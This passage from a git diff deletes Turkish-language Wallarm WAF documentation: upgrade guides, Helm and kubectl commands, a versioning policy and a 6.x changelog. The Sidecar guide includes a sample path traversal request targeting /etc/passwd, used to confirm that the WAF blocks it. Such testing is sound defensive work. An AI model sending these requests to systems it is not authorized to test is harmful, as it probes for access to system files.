127.0.0.0/8’dir. -* [Kubernetes Ingress Controller](../../admin-en/installation-kubernetes-en.md): - - * Tarantool artık ayrı bir pod değildir, wstore ana `-wallarm-ingress-controller-xxx` pod’u içinde çalışır. - * Helm değerleri yeniden adlandırıldı: `controller.wallarm.tarantool` → `controller.wallarm.postanalytics`. -* [Kubernetes Sidecar Controller](../../installation/kubernetes/sidecar-proxy/deployment.md): - - * Helm değerleri yeniden adlandırıldı: `postanalytics.tarantool.*` → [`postanalytics.wstore.*`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L625). - * Sidecar dağıtımı için Helm chart’tan aşağıdaki Docker imajları kaldırıldı: - - * [wallarm/ingress-collectd](https://hub.docker.com/r/wallarm/ingress-collectd) - * [wallarm/ingress-tarantool](https://hub.docker.com/r/wallarm/ingress-tarantool) - * [wallarm/ingress-ruby](https://hub.docker.com/r/wallarm/ingress-ruby) - * [wallarm/ingress-python](https://hub.docker.com/r/wallarm/ingress-python) - - Bu imajların yerini artık ilgili servisleri çalıştıran [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) imajı aldı. - -Açıklanan değişiklikler aşağıda sağlanan Düğüm yükseltme talimatlarına dahil edilmiştir. - -## Yükseltme süreci - -1. [Modüllerin yükseltilmesine yönelik önerileri](../general-recommendations.md) inceleyin. -2. Kurulu modülleri, Wallarm düğümünüzün dağıtım seçeneğine yönelik talimatları izleyerek yükseltin: - - * **All-in-one yükleyici** ile [NGINX, NGINX Plus için modüllerin yükseltilmesi](nginx-modules.md) - - Yükseltme sürecini iyileştirmek ve basitleştirmek için, tüm düğüm sürümlerinin yükseltilmesi Wallarm’ın all-in-one yükleyicisi kullanılarak gerçekleştirilir. Bireysel Linux paketleri ile manuel yükseltme artık desteklenmemektedir. - - * [NGINX modülleriyle Docker konteynerinin yükseltilmesi](docker-container.md) - * [Entegre Wallarm modülleri ile NGINX Ingress controller’ın yükseltilmesi](ingress-controller.md) - * [Cloud node imajı](cloud-image.md) - * [Multi-tenant düğüm](multi-tenant.md) -3. Önceki Wallarm düğüm sürümlerinden izin listesi ve engelleme listesi yapılandırmasını en son sürüme [taşıyın](../migrate-ip-lists-to-node-3.md). - ----------- - -[Wallarm ürünlerindeki ve bileşenlerindeki diğer güncellemeler →](https://changelog.wallarm.com/) \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/separate-postanalytics.md b/docs/latest-tr/updating-migrating/separate-postanalytics.md deleted file mode 100644 index 4ab3abb6db..0000000000 --- a/docs/latest-tr/updating-migrating/separate-postanalytics.md +++ /dev/null @@ -1,63 +0,0 @@ -[docs-module-update]: nginx-modules.md -[img-wl-console-users]: ../images/check-users.png -[img-create-wallarm-node]: ../images/user-guides/nodes/create-cloud-node.png -[img-attacks-in-interface]: ../images/admin-guides/test-attacks-quickstart.png -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[statistics-service-all-parameters]: ../admin-en/configure-statistics-service.md -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md - -# Postanalytics modülünün yükseltilmesi - -Bu talimatlar, ayrı bir sunucuya kurulu postanalytics modülünün en son 6.x sürümüne yükseltilmesi adımlarını açıklar. [Wallarm NGINX modüllerini yükseltmeden][docs-module-update] önce postanalytics modülü yükseltilmelidir. - -!!! info "All-in-one yükleyici ile yükseltme" - 4.10 sürümünden itibaren, tekil Linux paketleri kullanımdan kaldırıldığından yükseltme işlemi Wallarm'ın [all-in-one yükleyicisi](../installation/nginx/all-in-one.md) kullanılarak gerçekleştirilir. Bu yöntem, önceki yaklaşıma kıyasla yükseltme sürecini ve sürekli kurulum bakımını basitleştirir. - - Yükleyici aşağıdaki işlemleri otomatik olarak gerçekleştirir: - - 1. İşletim sisteminizi ve NGINX sürümünü kontrol eder. - 1. Algılanan OS ve NGINX sürümü için Wallarm depolarını ekler. - 1. Bu depolardan Wallarm paketlerini kurar. - 1. Kurulan Wallarm modülünü NGINX'inize bağlar. - 1. Sağlanan token kullanılarak filtreleme düğümünü Wallarm Cloud'a bağlar. - - ![El ile kuruluma kıyasla All-in-one](../images/installation-nginx-overview/manual-vs-all-in-one.png) - -Kullanım ömrü sona ermiş modülü (3.6 veya daha düşük) yükseltmek için lütfen [farklı talimatları](older-versions/separate-postanalytics.md) kullanın. - -## Gereksinimler - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -## Adım 1: Temiz makine hazırlayın - ---8<-- "../include/waf/installation/all-in-one-clean-machine-latest.md" - -## Adım 2: Wallarm token'ını hazırlayın - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## Adım 3: Wallarm all-in-one yükleyicisini indirin - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## Adım 4: Postanalytics'i kurmak için Wallarm all-in-one yükleyicisini çalıştırın - ---8<-- "../include/waf/installation/all-in-one-postanalytics.md" - -## Adım 5: Ayrı bir sunucudaki NGINX‑Wallarm modülünü yükseltin - -Postanalytics modülü ayrı sunucuya kurulduktan sonra, farklı bir sunucuda çalışan ilgili [NGINX‑Wallarm modülünü yükseltin](nginx-modules.md). - -## Adım 6: NGINX‑Wallarm modülünü postanalytics modülüne yeniden bağlayın - ---8<-- "../include/waf/installation/all-in-one-postanalytics-reconnect.md" - -## Adım 7: NGINX‑Wallarm ve ayrı postanalytics modüllerinin etkileşimini kontrol edin - ---8<-- "../include/waf/installation/all-in-one-postanalytics-check-latest.md" - -## Adım 8: Eski postanalytics modülünü kaldırın - ---8<-- "../include/waf/installation/all-in-one-postanalytics-remove-old.md" \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/sidecar-proxy.md b/docs/latest-tr/updating-migrating/sidecar-proxy.md deleted file mode 100644 index dd69196567..0000000000 --- a/docs/latest-tr/updating-migrating/sidecar-proxy.md +++ /dev/null @@ -1,146 +0,0 @@ -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../api-specification-enforcement/overview.md - -# Wallarm Sidecar’ı Yükseltme - -Bu talimatlar, Wallarm Sidecar çözümünü en son 6.x sürümüne yükseltme adımlarını açıklar. - -## Gereksinimler - ---8<-- "../include/waf/installation/sidecar-proxy-reqs-latest.md" - -## Adım 1: Wallarm Helm chart deposunu güncelleyin - -```bash -helm repo update wallarm -``` - -## Adım 2: Gelecek tüm K8s manifest değişikliklerini kontrol edin - -Beklenmedik Sidecar davranışı değişikliklerinden kaçınmak için, [Helm Diff Plugin](https://github.com/databus23/helm-diff) kullanarak gelecek tüm K8s manifest değişikliklerini kontrol edin. Bu eklenti, dağıtılmış Sidecar sürümünün K8s manifestleri ile yenisinin manifestleri arasındaki farkı çıktılar. - -Eklentiyi yüklemek ve çalıştırmak için: - -1. Eklentiyi yükleyin: - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. Eklentiyi çalıştırın: - - ```bash - helm diff upgrade -n wallarm-sidecar wallarm/wallarm-sidecar --version 6.5.1 -f - ``` - - * ``, Wallarm Sidecar Helm sürümünün adıdır. - * `wallarm-sidecar`, Wallarm Sidecar çözümünün dağıtıldığı ad alanıdır. [Dağıtım](../installation/kubernetes/sidecar-proxy/deployment.md) kılavuzumuza göre büyük olasılıkla `wallarm-sidecar` olarak ayarlanmıştır. - * ``, Sidecar Helm chart 6.x ayarlarını içeren `values.yaml` dosyasının yoludur. Önceki sürümün dosyasını, [Tarantool’dan wstore’a geçiş](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics) için güncelleyerek yeniden kullanabilirsiniz: - - Helm değerleri yeniden adlandırıldı: `postanalytics.tarantool` → `postanalytics.wstore`. Postanalytics belleği açıkça [ayrılmışsa](../installation/kubernetes/sidecar-proxy/scaling.md), bu değişikliği `values.yaml` içinde uygulayın. - -3. Çalışan servislerin stabilitesini etkileyebilecek herhangi bir değişiklik olmadığından emin olun ve stdout’taki hataları dikkatle inceleyin. - - Eğer stdout boşsa, `values.yaml` dosyasının geçerli olduğundan emin olun. - -## 4.10.6 veya daha düşük sürümden yükseltme - -4.10.7 sürümü kırılma değişikliklerini tanıttı ve çözümün yeniden kurulmasını gerektirdi. Admission webhook sertifikası oluşturma için varsayılan yöntem, [`certgen`](https://github.com/kubernetes/ingress-nginx/tree/main/images/kube-webhook-certgen) süreci ile değiştirildi. Yükseltme sırasında, sertifikalar otomatik olarak yeni `certgen` süreci kullanılarak oluşturulacaktır. - -Ek olarak, bu sürüm, admission webhook sertifikası sağlamak için [`cert-manager` kullanmanızı veya sertifikaları manuel olarak belirtmenizi](../installation/kubernetes/sidecar-proxy/customization.md#certificates-for-the-admission-webhook) sağlar. - -### Adım 3: Çözümün önceki sürümünü kaldırın - -``` -helm uninstall -n wallarm-sidecar -``` - -### Adım 4: Önceki sertifika yapıtlarını kaldırın - -``` -kubectl delete MutatingWebhookConfiguration -wallarm-sidecar -kubectl delete secret -wallarm-sidecar-admission-tls -n wallarm-sidecar -``` - -### Adım 5: Yeni çözüm sürümünü dağıtın - -``` bash -helm install --version 6.5.1 wallarm/wallarm-sidecar --wait -n wallarm-sidecar -f -``` - -* ``, Helm sürümü için addır. Çözümün ilk dağıtımında kullandığınız adı yeniden kullanmanız önerilir. -* `wallarm-sidecar`, Helm sürümünün dağıtılacağı ad alanıdır. Çözümün ilk dağıtımında kullandığınız ad alanını yeniden kullanmanız önerilir. -* ``, Sidecar Helm chart 6.x ayarlarını içeren `values.yaml` dosyasının yoludur. Önceki sürümün dosyasını, [Tarantool’dan wstore’a geçiş](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics) için güncelleyerek yeniden kullanabilirsiniz: - - Helm değerleri yeniden adlandırıldı: `postanalytics.tarantool` → `postanalytics.wstore`. Postanalytics belleği açıkça [ayrılmışsa](../installation/kubernetes/sidecar-proxy/scaling.md), bu değişikliği `values.yaml` içinde uygulayın. - -### Adım 6: Sidecar Proxy ekli dağıtımları yeniden başlatın - -Uygulama pod’larına zaten enjekte edilmiş proxy konteynerlerini yükseltmek için ilgili deployment’ları yeniden başlatın: - -``` -kubectl rollout restart deployment -n -``` - -* ``, uygulama deployment’ının adıdır -* ``, deployment’ın bulunduğu ad alanıdır - -## 4.10.7 veya üzeri sürümden yükseltme - -### Adım 3: Sidecar çözümünü yükseltin - -Sidecar çözümünün dağıtılmış bileşenlerini yükseltin: - -``` bash -helm upgrade -n wallarm/wallarm-sidecar --version 6.5.1 -f -``` - -* ``: Dağıtılmış Sidecar chart’ının Helm sürümünün adı -* ``: Sidecar’ın dağıtıldığı ad alanı -* ``, Sidecar Helm chart 6.x ayarlarını içeren `values.yaml` dosyasının yoludur. Önceki sürümün dosyasını, [Tarantool’dan wstore’a geçiş](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics) için güncelleyerek yeniden kullanabilirsiniz: - - Helm değerleri yeniden adlandırıldı: `postanalytics.tarantool` → `postanalytics.wstore`. Postanalytics belleği açıkça [ayrılmışsa](../installation/kubernetes/sidecar-proxy/scaling.md), bu değişikliği `values.yaml` içinde uygulayın. - -### Adım 4: Sidecar Proxy ekli dağıtımları yeniden başlatın - -Uygulama pod’larına zaten enjekte edilmiş proxy konteynerlerini yükseltmek için ilgili deployment’ları yeniden başlatın: - -``` -kubectl rollout restart deployment -n -``` - -* ``, uygulama deployment’ının adıdır -* ``, deployment’ın bulunduğu ad alanıdır - -## Yükseltilmiş Sidecar çözümünü test edin - -1. Helm chart sürümünün yükseltildiğinden emin olun: - - ```bash - helm list -n wallarm-sidecar - ``` - - Burada `wallarm-sidecar`, Sidecar’ın dağıtıldığı ad alanıdır. Ad alanı farklıysa bu değeri değiştirebilirsiniz. - - Chart sürümü `wallarm-sidecar-6.5.1` ile uyumlu olmalıdır. -1. Başarıyla başlatıldığını kontrol etmek için Wallarm kontrol düzlemi ayrıntılarını alın: - - ```bash - kubectl get pods -n wallarm-sidecar -l app.kubernetes.io/name=wallarm-sidecar - ``` - - Her pod aşağıdakileri göstermelidir: READY: N/N ve STATUS: Running, örn.: - - ``` - NAME READY STATUS RESTARTS AGE - wallarm-sidecar-controller-54cf88b989-gp2vg 1/1 Running 0 91m - wallarm-sidecar-postanalytics-86d9d4b6cd-hpd5k 3/3 Running 0 91m - ``` -1. Uygulama kümesi adresine test [Yol Geçişi (Path Traversal)](../attacks-vulns-list.md#path-traversal) saldırısını gönderin: - - ```bash - curl http:///etc/passwd - ``` - - İstenen uygulama Pod’unun `wallarm-sidecar: enabled` etiketi olmalıdır. - - Çözümün yeni sürümünün kötü amaçlı isteği önceki sürümde olduğu gibi işlediğini kontrol edin. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/versioning-policy.md b/docs/latest-tr/updating-migrating/versioning-policy.md deleted file mode 100644 index 23fa9e5935..0000000000 --- a/docs/latest-tr/updating-migrating/versioning-policy.md +++ /dev/null @@ -1,65 +0,0 @@ -# Wallarm Node Sürümleme Politikası - -Bu doküman, self-hosted [NGINX tabanlı ve Native Nodes](../installation/nginx-native-node-internals.md) ile self-hosted Native Nodes ile sürüm numaralarını paylaşan [Edge Nodes](../installation/security-edge/overview.md) için Wallarm’ın sürümleme politikasını detaylandırır. Düğüm güncellemelerini yönetmek için sürümleme standartları, yayın takvimleri ve uyumluluk yönergelerini kapsar. - -Her düğüm sürümü, farklı platformlara dağıtım için paketlenmiş Docker imajları, Helm chart’ları veya hepsi bir arada yükleyiciler gibi artifaktlar seti olarak yayınlanır. - -## Sürüm listesi - -| NGINX Node sürümü | Native ve Edge Node sürümü | Yayın tarihi | Destek bitişi | -|--------------------|---------------------|----------------|---------------| -| 2.18 ve daha düşük 2.x | - | | Kasım 2021 | -| 3.6 ve daha düşük 3.x | - | Ekim 2021 | Kasım 2022 | -| 4.6 ve daha düşük 4.x | - | Haziran 2022 | Nisan 2024 | -| 4.8 | - | Ekim 2023 | Kasım 2024 | -| 4.10 | - | Ocak 2024 | Temmuz 2025 | -| 5.x | 0.13.x- | Temmuz 2024 | | -| 6.x | 0.14.x+ | Mart 2025 | | - -## Sürüm yapısı - -Node sürümleri şu formatı izler: - -```bash -..[-] -``` - -| Öğe | Açıklama | Yayın sıklığı | -| ------- | ----------- | ----------------- | -| `` | Ana sürüm değişiklikleri önemli güncellemeleri, büyük yeni özellikleri veya kırıcı değişiklikleri ifade eder. +1 artar, örn. `4.x` ve `5.x`. | Her 6 ayda bir veya büyük değişiklikler gerektiğinde | -| `` | Minör sürüm değişiklikleri mevcut işlevler içinde iyileştirmeler ve yeni kabiliyetleri içerir; yeni büyük kullanım senaryoları getirmez. +1 artar, örn. `5.0` ve `5.1`. | Aylık | -| `` | Küçük hata düzeltmeleri veya belirli iyileştirmeler için yamalar. Yalnızca en son minör sürüme uygulanır. Numara, yayın dalındaki commit sayısına bağlı olarak sıralı artar (+1, +2, vb.). Örneğin, `5.1.0` ve `5.1.1`. | Gerektiğinde | -| `` (opsiyonel) | Wallarm Node’un kendisiyle ilgili olmayan değişiklikleri belirtir (örn., Helm chart’taki bağımlılık güncellemeleri). Bu numara yalnızca yama sürümleri arasında artifakta değişiklik yapıldıysa artar (örn., `5.1.0-1`, `5.1.0-2`). | Gerektiğinde | - -Bu sürümleme yaklaşımı tüm Node türleri için eşit şekilde geçerlidir. Ancak, bağımsız olarak yayınlanırlar. - -## Sürüm destek politikası - -Wallarm, en son iki ana sürümü, bunların en son minör sürümleriyle sınırlı olmak üzere, hata düzeltmeleri, özellik güncellemeleri ve güvenlik yamalarıyla destekler. Örneğin, 6.x yayınlandıktan sonra yalnızca 5.x’in en son minör sürümü (örn., 5.12) desteklenecektir. - -Yeni bir ana sürüm yayınlandığında, karşılık gelen sürümden iki önceki sürümün (örn., 6.x → 4.x) desteği 3 ay sonra sona erer. - -Kullanımdan kaldırılan sürümler indirilebilir durumda kalır ancak artık güncellenmez. - -## NGINX uyumluluğu - -Çoğu NGINX Node artifaktı, upstream NGINX kaynaklarındaki kararlı sürümle hizalanır. - -Örneğin, Wallarm Ingress Controller, [Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx) üzerine kuruludur. Bir upstream sürüm kullanımdan kaldırma için işaretlendiğinde, Wallarm 30 gün içinde yeni kararlı sürüme günceller ve bunu bir minör sürüm olarak yayınlar. Uyumluluğu sağlamak için güncellemeler daha erken yapılabilir ancak kullanımdan kaldırma işaretinden daha geçe kalınmaz. - -## Yeni sürüm bildirimi - -Wallarm, majör ve minör güncellemeler için sürüm notlarını şu kanallarda yayımlar: - -* Kamuya açık dokümantasyon - bkz. [NGINX Node artifakt envanteri](node-artifact-versions.md) ve [Native Node artifakt envanteri](native-node/node-artifact-versions.md) -* [Ürün Değişiklik Günlüğü](https://changelog.wallarm.com/) -* Wallarm Console içindeki güncellemeler bölümü - - ![Wallarm Console’da yeni sürüm bildirimi](../images/updating-migrating/wallarm-console-new-version-notification.png) -* Wallarm Console içindeki her düğüm, **Up to date** durumunu gösterir veya her bileşen için mevcut güncellemeleri listeler. - - ![Düğüm kartı](../images/user-guides/nodes/view-regular-node-comp-vers.png) - -## Yükseltme prosedürü - -Majör ve minör güncellemeler için kurulum talimatları, yeni sürümlerle birlikte yayımlanır. Belirli artifaktların güncellenmesine ilişkin ayrıntılı adımlar için dokümantasyonda **Operations → Node Upgrade** bölümüne bakın. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/what-is-new.md b/docs/latest-tr/updating-migrating/what-is-new.md deleted file mode 100644 index 94a2193b6b..0000000000 --- a/docs/latest-tr/updating-migrating/what-is-new.md +++ /dev/null @@ -1,184 +0,0 @@ -# Wallarm Node 6.x ve 0.14.x’te Neler Yeni - -Bu değişiklik günlüğü NGINX Node 6.x ve Native Node 0.14.x+ güncellemelerini kapsar. Daha eski bir sürümden yükseltiyorsanız [bu](../updating-migrating/older-versions/what-is-new.md) belgeye bakın. - -Wallarm Node’un küçük sürümlerine ait ayrıntılı değişiklik günlüğü için [NGINX Node eser (artifact) envanteri](node-artifact-versions.md) veya [Native Node eser (artifact) envanteri](native-node/node-artifact-versions.md) sayfalarına bakın. - -Bu sürüm, Wallarm Node’un performansını ve sürdürülebilirliğini artırmayı amaçlayan temel mimari iyileştirmeler içerir. Bu yenilikler, yakında gelecek özellikler için de zemin hazırlar. - -## Postanalytics için Tarantool’un wstore ile değiştirilmesi - -Wallarm Node, yerel postanalytics işlemede Tarantool yerine artık **Wallarm tarafından geliştirilen wstore hizmetini** kullanır. - -Bunun sonucunda NGINX Node’da aşağıdaki değişiklikler yapılmıştır: - -* [All-in-one yükleyici](../installation/nginx/all-in-one.md), [AWS](../installation/cloud-platforms/aws/ami.md)/[GCP](../installation/cloud-platforms/gcp/machine-image.md) imajları: - - * Postanalytics modülü ayrı bir NGINX hizmetinden konuşlandırıldığında sunucu adresini tanımlayan NGINX yönergesi `wallarm_tarantool_upstream`, [`wallarm_wstore_upstream`](../admin-en/configure-parameters-en.md#wallarm_wstore_upstream) olarak yeniden adlandırıldı. - - Geriye dönük uyumluluk, kullanım dışı uyarısıyla korunur: - - ``` - 2025/03/04 20:43:04 [warn] 3719#3719: "wallarm_tarantool_upstream" directive is deprecated, use "wallarm_wstore_upstream" instead in /etc/nginx/nginx.conf:19 - ``` - - * [Günlük dosyasının](../admin-en/configure-logging.md) adı değişti: `/opt/wallarm/var/log/wallarm/tarantool-out.log` → `/opt/wallarm/var/log/wallarm/wstore-out.log`. - * Yeni wstore yapılandırma dosyası `/opt/wallarm/wstore/wstore.yaml`, `/etc/default/wallarm-tarantool` veya `/etc/sysconfig/wallarm-tarantool` gibi eski Tarantool yapılandırma dosyalarının yerini alır. - * `/opt/wallarm/etc/wallarm/node.yaml` içindeki `tarantool` bölümü artık `wstore`. Geriye dönük uyumluluk, kullanım dışı uyarısıyla korunur. -* [Docker imajı](../admin-en/installation-docker-en.md): - - * Yukarıdaki tüm değişiklikler konteyner içinde uygulanmıştır. - * Önceden, Tarantool için bellek `TARANTOOL_MEMORY_GB` ortam değişkeniyle ayrılıyordu. Artık aynı ilkeye uyularak yeni değişken kullanılır: `TARANTOOL_MEMORY_GB` → `SLAB_ALLOC_ARENA`. - * Konteyner dizin yapısı Alpine Linux kurallarına uyacak şekilde düzenlendi. Özellikle: - - * `/etc/nginx/modules-available` ve `/etc/nginx/modules-enabled` içeriği `/etc/nginx/modules` konumuna taşındı. - * `/etc/nginx/sites-available` ve `/etc/nginx/sites-enabled` içeriği `/etc/nginx/http.d` konumuna taşındı. - - * `/wallarm-status` servisi için izinli IP adreslerini belirleyen varsayılan `allow` değeri 127.0.0.8/8 yerine artık 127.0.0.0/8’tir. -* [Kubernetes Ingress Controller](../admin-en/installation-kubernetes-en.md): - - * Tarantool artık ayrı bir pod değildir, wstore ana `-wallarm-ingress-controller-xxx` pod’unda çalışır. - * Helm değerleri yeniden adlandırıldı: `controller.wallarm.tarantool` → `controller.wallarm.postanalytics`. -* [Kubernetes Sidecar Controller](../installation/kubernetes/sidecar-proxy/deployment.md): - - * Helm değerleri yeniden adlandırıldı: `postanalytics.tarantool.*` → [`postanalytics.wstore.*`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L625). - * Sidecar konuşlandırması için Helm chart’ından aşağıdaki Docker imajları kaldırılmıştır: - - * [wallarm/ingress-collectd](https://hub.docker.com/r/wallarm/ingress-collectd) - * [wallarm/ingress-tarantool](https://hub.docker.com/r/wallarm/ingress-tarantool) - * [wallarm/ingress-ruby](https://hub.docker.com/r/wallarm/ingress-ruby) - * [wallarm/ingress-python](https://hub.docker.com/r/wallarm/ingress-python) - - Bu imajların yerini ilgili servisleri çalıştıran [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) imajı almıştır. - -Aşağıda verilen Node yükseltme talimatlarına bu değişiklikler dahil edilmiştir. - -## collectd’nin kaldırılması - -Önceden tüm filtreleme nodelarına kurulan collectd servisi ve ilişkili eklentileri kaldırılmıştır. Metrikler artık Wallarm’ın yerleşik mekanizmalarıyla toplanıp gönderilir; bu da harici araçlara bağımlılığı azaltır. - -Collectd’nin sağladığı Prometheus ve JSON biçimindeki aynı metrikleri sunan [`/wallarm-status` endpointini](../admin-en/configure-statistics-service.md) kullanın. - -Bu değişikliğin sonucu olarak yapılandırma kurallarında da şunlar değişti: - -* `/opt/wallarm/etc/collectd/wallarm-collectd.conf.d/wallarm-tarantool.conf` collectd yapılandırma dosyası artık kullanılmamaktadır. -* Önceden metrikleri bir ağ eklentisi üzerinden iletmek için collectd kullandıysanız, örneğin: - - ``` - LoadPlugin network - - - Server "" "" - - ``` - - artık Prometheus ile `/wallarm-status` endpointinin scrape edilmesine geçmelisiniz. - -## Mitigation Controls - -Tüm Wallarm saldırı azaltma ayarlarının birleşik yönetimi için [**Mitigation Controls**](../about-wallarm/mitigation-controls-overview.md) merkezini sunuyoruz. Mitigation Controls ile şunları yapabilirsiniz: - -* Tüm Wallarm azaltma ayarlarını tek bir yerden görüntüleyip yönetmek. -* Hepsini birleşik bir şekilde yönetmek (tüm kontroller benzer yapılandırma arayüzü ve seçeneklere sahiptir). -* Her bir kontrolün mevcut modunu kolayca görmek: aktif mi? sadece izliyor mu yoksa engelliyor mu? -* Her kontrol tarafından yakalanan saldırılara hızlı bir genel bakış almak. - -![UI’de Mitigation Controls sayfası](../images/user-guides/mitigation-controls/mc-main-page.png) - -### Numaralandırma saldırısı koruması - -!!! tip "" - [NGINX Node 6.1.0 ve üzeri](node-artifact-versions.md) ve [Native Node 0.14.1 ve üzeri](native-node/node-artifact-versions.md) - -[Numaralandırma saldırılarına](../attacks-vulns-list.md#enumeration-attacks) karşı yeni seviye koruma, numaralandırma Mitigation Controls ile gelir: - -* [Enumeration attack protection](../api-protection/enumeration-attack-protection.md) -* [BOLA enumeration protection](../api-protection/enumeration-attack-protection.md) -* [Forced browsing protection](../api-protection/enumeration-attack-protection.md) -* [Brute force protection](../api-protection/enumeration-attack-protection.md) - -Daha önce bu koruma için kullanılan tetikleyicilerle karşılaştırıldığında, Mitigation Controls: - -* Numaralandırma girişimleri için izlenecek parametrelerin seçilmesine izin verir. -* Hangi isteklerin sayılacağı konusunda gelişmiş ve detaylı filtreleme imkanı sağlar. -* [API Sessions](../api-sessions/overview.md) ile derin entegrasyon sağlar: tespit edilen saldırılar ilgili oturum içinde gösterilir ve oturum faaliyetlerinin neden saldırı olarak işaretlenip engellendiğine dair tam bağlam sunulur. - -![BOLA protection mitigation control - örnek](../images/user-guides/mitigation-controls/mc-bola-example-01.png) - -### DoS protection - -!!! tip "" - [NGINX Node 6.1.0 ve üzeri](node-artifact-versions.md) ve [Native Node 0.14.1 ve üzeri](native-node/node-artifact-versions.md) - -[Unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md), en ciddi API güvenlik risklerinin yer aldığı [OWASP API Top 10 2023](../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023) listesine dahildir. Kendi başına bir tehdit olmakla birlikte (yük altında hizmetin yavaşlaması veya tamamen çökmesi), aynı zamanda örneğin numaralandırma saldırıları gibi farklı saldırı türlerinin de temelini oluşturur. Belirli bir zamanda çok fazla isteğe izin verilmesi bu risklerin başlıca nedenlerinden biridir. - -Wallarm, API’nize aşırı trafiği önlemeye yardımcı olmak için yeni [**DoS protection**](../api-protection/dos-protection.md) Mitigation Control’ünü sunar. - -![DoS protection - JWT örneği](../images/api-protection/mitigation-controls-dos-protection-jwt.png) - -### Varsayılan kontroller - -Wallarm, etkinleştirildiğinde Wallarm platformunun tespit kabiliyetlerini önemli ölçüde artıran bir dizi [varsayılan Mitigation Controls](../about-wallarm/mitigation-controls-overview.md#default-controls) sağlar. Bu kontroller, çeşitli yaygın saldırı kalıplarına karşı güçlü koruma sunacak şekilde önceden yapılandırılmıştır. Mevcut varsayılan Mitigation Controls şunları içerir: - -* [GraphQL protection](../api-protection/graphql-rule.md) -* Kullanıcı kimlikleri, nesne kimlikleri ve dosya adları için [BOLA (Broken Object Level Authorization) enumeration protection](../api-protection/enumeration-attack-protection.md#bola) -* Parolalar, OTP’ler ve kimlik doğrulama kodları için [Brute force protection](../api-protection/enumeration-attack-protection.md#brute-force) -* [Forced browsing protection](../api-protection/enumeration-attack-protection.md#forced-browsing) (404 yoklama) -* [Enumeration attack protection](../api-protection/enumeration-attack-protection.md#generic-enumeration), aşağıdakiler dahil: - - * Kullanıcı/e-posta numaralandırması - * SSRF (Server-Side Request Forgery) numaralandırması - * User-Agent rotasyonu - -## Dosya yükleme kısıtlama politikası - -Wallarm artık yüklenen dosyaların boyutunu doğrudan kısıtlamak için araçlar sağlar. Bu, en ciddi API güvenlik risklerinin yer aldığı [OWASP API Top 10 2023](../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023) listesine dahil [unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md) riskini önlemeye yönelik önlemler setinin bir parçasıdır. - -Abonelik planınıza bağlı olarak, yükleme kısıtlamaları bir Mitigation Control veya kural aracılığıyla uygulanır. Dosya boyutu kısıtlarını tüm istek için veya isteğin seçili bir noktası için belirleyebilirsiniz. - -![Dosya yükleme kısıtlama MC - örnek](../images/api-protection/mitigation-controls-file-upload-1.png) - -## Unrestricted resource consumption’a karşı koruma - -!!! tip "" - [NGINX Node 6.3.0 ve üzeri](node-artifact-versions.md) ve şu an için [Native Node](../installation/nginx-native-node-internals.md#native-node) tarafından desteklenmiyor. - -Wallarm’ın [API Abuse Prevention](../api-abuse-prevention/overview.md) özelliği, [unrestricted resource consumption](../attacks-vulns-list.md#unrestricted-resource-consumption) — otomatik bir istemcinin uygun sınırlar olmaksızın aşırı API veya uygulama kaynağı tükettiği kötüye kullanım davranışını — önleme olanağı sunar. Buna çok sayıda zararsız isteğin gönderilmesi, işlemci, bellek veya bant genişliğinin tüketilmesi ve meşru kullanıcılar için hizmetin kötüleşmesine yol açılması dahildir. - -![API Abuse prevention profile](../images/about-wallarm-waf/abi-abuse-prevention/create-api-abuse-prevention.png) - -Bu tür otomatik tehditleri tespit etmek için API Abuse Prevention, üç yeni [dedektör](../api-abuse-prevention/overview.md#how-api-abuse-prevention-works) sunar: - -* **Response time anomaly** — API yanıt gecikmelerindeki otomatik kötüye kullanım veya arka uç istismarı girişimlerini işaret edebilecek anormal kalıpları belirler. -* **Excessive request consumption** — API’ye anormal derecede büyük istek yükleri gönderen istemcileri belirler; bu, arka uç işlem kaynaklarının kötüye kullanıldığını gösterebilir. -* **Excessive response consumption** — yaşam süreleri boyunca aktarılan toplam yanıt verisi hacmine göre şüpheli oturumları işaretler. Tekil isteklere odaklanan dedektörlerden farklı olarak, bu dedektör tüm bir oturum boyunca yanıt boyutlarını toplayarak damla-damla veri çekme veya dağıtık scraping saldırılarını tespit eder. - -## Hangi Wallarm nodelarının yükseltilmesi önerilir? - -* Wallarm sürümleriyle güncel kalmak ve [kurulu modüllerin kullanım dışı kalmasını](versioning-policy.md#version-support-policy) önlemek için 4.10 ve 5.x sürümündeki istemci ve çok kiracılı (multi-tenant) Wallarm NGINX Node’ları. -* [Desteklenmeyen](versioning-policy.md#version-list) sürümlerdeki (4.8 ve altı) istemci ve çok kiracılı Wallarm nodeları. - - 3.6 veya altı bir sürümden yükseltiyorsanız, tüm değişiklikleri [ayrı listeden](older-versions/what-is-new.md) öğrenin. - -## Yükseltme süreci - -1. [Modül yükseltme için önerileri](general-recommendations.md) gözden geçirin. -2. Wallarm node konuşlandırma seçeneğinize uygun talimatları izleyerek kurulu modülleri yükseltin: - - * NGINX Node: - * [DEB/RPM paketleri](nginx-modules.md) - * [All-in-one 